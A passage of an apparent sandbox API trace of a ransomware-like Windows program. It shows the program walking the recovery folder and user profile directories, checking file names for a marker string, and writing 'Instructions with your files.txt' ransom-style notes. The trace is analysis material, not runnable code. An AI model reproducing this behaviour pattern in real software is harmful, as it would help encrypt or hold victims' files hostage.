[0128.233] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x27c2fae0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x4185decd, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x306000, dwReserved0=0x0, dwReserved1=0x0, cFileName="boot.sdi", cAlternateFileName="")) returned 1
[0128.233] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\boot.sdi") returned 61
[0128.233] StrStrIW (lpFirst="boot.sdi", lpSrch="SDfghjkl") returned 0x0
[0128.233] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 1
[0128.233] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Winre.wim") returned 62
[0128.233] StrStrIW (lpFirst="Winre.wim", lpSrch="SDfghjkl") returned 0x0
[0128.233] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2006, ftCreationTime.dwLowDateTime=0x6496a3c6, ftCreationTime.dwHighDateTime=0x1cbf8ea, ftLastAccessTime.dwLowDateTime=0x64b0e1b9, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0xfa6eb761, ftLastWriteTime.dwHighDateTime=0x1cb88d1, nFileSizeHigh=0x0, nFileSizeLow=0xa160012, dwReserved0=0x0, dwReserved1=0x0, cFileName="Winre.wim", cAlternateFileName="")) returned 0
[0128.233] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Instructions with your files.txt") returned 85
[0128.233] CreateFileW (lpFileName="\\\\?\\C:\\Recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\Instructions with your files.txt" (normalized: "c:\\recovery\\e9e23962-4a25-11e7-88e8-91fb2ec43f0b\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x108
[0128.234] WriteFile (in: hFile=0x108, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf3b4*=0x54, lpOverlapped=0x0) returned 1
[0128.234] WriteFile (in: hFile=0x108, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf3b4*=0x18, lpOverlapped=0x0) returned 1
[0128.235] WriteFile (in: hFile=0x108, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf3b4*=0xc, lpOverlapped=0x0) returned 1
[0128.235] WriteFile (in: hFile=0x108, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf3b4*=0x16, lpOverlapped=0x0) returned 1
[0128.235] WriteFile (in: hFile=0x108, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf3b4, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf3b4*=0x23, lpOverlapped=0x0) returned 1
[0128.235] CloseHandle (hObject=0x108) returned 1
[0128.235] FindClose (in: hFindFile=0x876c38 | out: hFindFile=0x876c38) returned 1
[0128.235] GetProcessHeap () returned 0x810000
[0128.235] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x88bbf8 | out: hHeap=0x810000) returned 1
[0128.235] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x2016, ftCreationTime.dwLowDateTime=0x27c09980, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x27c2fae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x27c2fae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="e9e23962-4a25-11e7-88e8-91fb2ec43f0b", cAlternateFileName="E9E239~1")) returned 0
[0128.235] wnsprintfW (in: pszDest=0x877be0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Recovery\\Instructions with your files.txt") returned 48
[0128.235] CreateFileW (lpFileName="\\\\?\\C:\\Recovery\\Instructions with your files.txt" (normalized: "c:\\recovery\\instructions with your files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x104
[0128.235] WriteFile (in: hFile=0x104, lpBuffer=0xc338a8*, nNumberOfBytesToWrite=0x54, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0xc338a8*, lpNumberOfBytesWritten=0x22cf644*=0x54, lpOverlapped=0x0) returned 1
[0128.236] WriteFile (in: hFile=0x104, lpBuffer=0x82e75a*, nNumberOfBytesToWrite=0x18, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0x82e75a*, lpNumberOfBytesWritten=0x22cf644*=0x18, lpOverlapped=0x0) returned 1
[0128.236] WriteFile (in: hFile=0x104, lpBuffer=0xc33900*, nNumberOfBytesToWrite=0xc, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0xc33900*, lpNumberOfBytesWritten=0x22cf644*=0xc, lpOverlapped=0x0) returned 1
[0128.236] WriteFile (in: hFile=0x104, lpBuffer=0x82e78c*, nNumberOfBytesToWrite=0x16, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0x82e78c*, lpNumberOfBytesWritten=0x22cf644*=0x16, lpOverlapped=0x0) returned 1
[0128.236] WriteFile (in: hFile=0x104, lpBuffer=0xc33910*, nNumberOfBytesToWrite=0x23, lpNumberOfBytesWritten=0x22cf644, lpOverlapped=0x0 | out: lpBuffer=0xc33910*, lpNumberOfBytesWritten=0x22cf644*=0x23, lpOverlapped=0x0) returned 1
[0128.237] CloseHandle (hObject=0x104) returned 1
[0128.237] FindClose (in: hFindFile=0x876bf8 | out: hFindFile=0x876bf8) returned 1
[0128.237] GetProcessHeap () returned 0x810000
[0128.237] HeapFree (in: hHeap=0x810000, dwFlags=0x8, lpMem=0x877be0 | out: hHeap=0x810000) returned 1
[0128.237] FindNextFileW (in: hFindFile=0x82f200, lpFindFileData=0x22cf8f4 | out: lpFindFileData=0x22cf8f4*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0x56231c60, ftCreationTime.dwHighDateTime=0x1d2de2a, ftLastAccessTime.dwLowDateTime=0x8b4e5160, ftLastAccessTime.dwHighDateTime=0x1d5e184, ftLastWriteTime.dwLowDateTime=0x8b4e5160, ftLastWriteTime.dwHighDateTime=0x1d5e184, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="System Volume Information", cAlternateFileName="SYSTEM~1")) returned 1
[0128.237] FindNextFileW (in: hFindFile=0x82f200, lpFindFileData=0x22cf8f4 | out: lpFindFileData=0x22cf8f4*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Users", cAlternateFileName="")) returned 1
[0128.237] wnsprintfW (in: pszDest=0x833ba8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users") returned 12
[0128.237] GetProcessHeap () returned 0x810000
[0128.237] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x877be0
[0128.237] wnsprintfW (in: pszDest=0x877be0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\*") returned 14
[0128.237] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\*", lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876bf8
[0128.237] wnsprintfW (in: pszDest=0x877be0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\.") returned 14
[0128.237] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0128.237] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x11, ftCreationTime.dwLowDateTime=0xfda01e06, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x28c670c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x28c670c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.237] wnsprintfW (in: pszDest=0x877be0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\..") returned 15
[0128.237] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0128.237] FindNextFileW (in: hFindFile=0x876bf8, lpFindFileData=0x22cf664 | out: lpFindFileData=0x22cf664*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="5p5NrGJn0jS HALPmcxz", cAlternateFileName="5P5NRG~1")) returned 1
[0128.237] wnsprintfW (in: pszDest=0x877be0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz") returned 33
[0128.237] GetProcessHeap () returned 0x810000
[0128.237] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x88bbf8
[0128.237] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\*") returned 35
[0128.237] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\*", lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c38
[0128.238] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\.") returned 35
[0128.238] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x28c670c0, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x2914fe20, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0x2914fe20, ftLastWriteTime.dwHighDateTime=0x1d2dd9c, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.238] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\..") returned 36
[0128.238] FindNextFileW (in: hFindFile=0x876c38, lpFindFileData=0x22cf3d4 | out: lpFindFileData=0x22cf3d4*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="AppData", cAlternateFileName="")) returned 1
[0128.238] wnsprintfW (in: pszDest=0x88bbf8, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData") returned 41
[0128.238] GetProcessHeap () returned 0x810000
[0128.238] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x89bc00
[0128.238] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*") returned 43
[0128.238] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\*", lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876c78
[0128.238] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\.") returned 43
[0128.238] StrStrIW (lpFirst=".", lpSrch="SDfghjkl") returned 0x0
[0128.238] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2012, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0x28cff640, ftLastAccessTime.dwHighDateTime=0x1d2dd9c, ftLastWriteTime.dwLowDateTime=0xe9bbeade, ftLastWriteTime.dwHighDateTime=0x1cb8926, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.238] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\..") returned 44
[0128.238] StrStrIW (lpFirst="..", lpSrch="SDfghjkl") returned 0x0
[0128.238] FindNextFileW (in: hFindFile=0x876c78, lpFindFileData=0x22cf144 | out: lpFindFileData=0x22cf144*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Local", cAlternateFileName="")) returned 1
[0128.238] wnsprintfW (in: pszDest=0x89bc00, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local") returned 47
[0128.238] GetProcessHeap () returned 0x810000
[0128.238] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8acc10
[0128.238] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*") returned 49
[0128.238] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\*", lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cb8
[0128.239] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\.") returned 49
[0128.239] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x28cff640, ftCreationTime.dwHighDateTime=0x1d2dd9c, ftLastAccessTime.dwLowDateTime=0xb264df80, ftLastAccessTime.dwHighDateTime=0x1d2dda4, ftLastWriteTime.dwLowDateTime=0xb264df80, ftLastWriteTime.dwHighDateTime=0x1d2dda4, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.239] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\..") returned 50
[0128.239] FindNextFileW (in: hFindFile=0x876cb8, lpFindFileData=0x22ceeb4 | out: lpFindFileData=0x22ceeb4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Adobe", cAlternateFileName="")) returned 1
[0128.239] wnsprintfW (in: pszDest=0x8acc10, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe") returned 53
[0128.239] GetProcessHeap () returned 0x810000
[0128.239] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x845bc0
[0128.239] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*") returned 55
[0128.239] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\*", lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876cf8
[0128.242] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\.") returned 55
[0128.242] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.242] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\..") returned 56
[0128.242] FindNextFileW (in: hFindFile=0x876cf8, lpFindFileData=0x22cec24 | out: lpFindFileData=0x22cec24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1
[0128.242] wnsprintfW (in: pszDest=0x845bc0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat") returned 61
[0128.242] GetProcessHeap () returned 0x810000
[0128.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x856bd0
[0128.242] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*") returned 63
[0128.242] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\*", lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d38
[0128.242] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\.") returned 63
[0128.242] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd72eaa0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd72eaa0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.242] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\..") returned 64
[0128.242] FindNextFileW (in: hFindFile=0x876d38, lpFindFileData=0x22ce994 | out: lpFindFileData=0x22ce994*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="10.0", cAlternateFileName="")) returned 1
[0128.242] wnsprintfW (in: pszDest=0x856bd0, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0") returned 66
[0128.242] GetProcessHeap () returned 0x810000
[0128.242] RtlAllocateHeap (HeapHandle=0x810000, Flags=0x8, Size=0xfffe) returned 0x8bcc18
[0128.243] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\*" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*") returned 68
[0128.243] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\*", lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x876d78
[0128.249] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\.") returned 68
[0128.249] FindNextFileW (in: hFindFile=0x876d78, lpFindFileData=0x22ce704 | out: lpFindFileData=0x22ce704*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd72eaa0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xee135b70, ftLastAccessTime.dwHighDateTime=0x1d35d05, ftLastWriteTime.dwLowDateTime=0xee135b70, ftLastWriteTime.dwHighDateTime=0x1d35d05, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
[0128.249] wnsprintfW (in: pszDest=0x8bcc18, cchDest=32767, pszFmt="%s\\%s" | out: pszDest="\\\\?\\C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Adobe\\Acrobat\\10.0\\..") returned 69
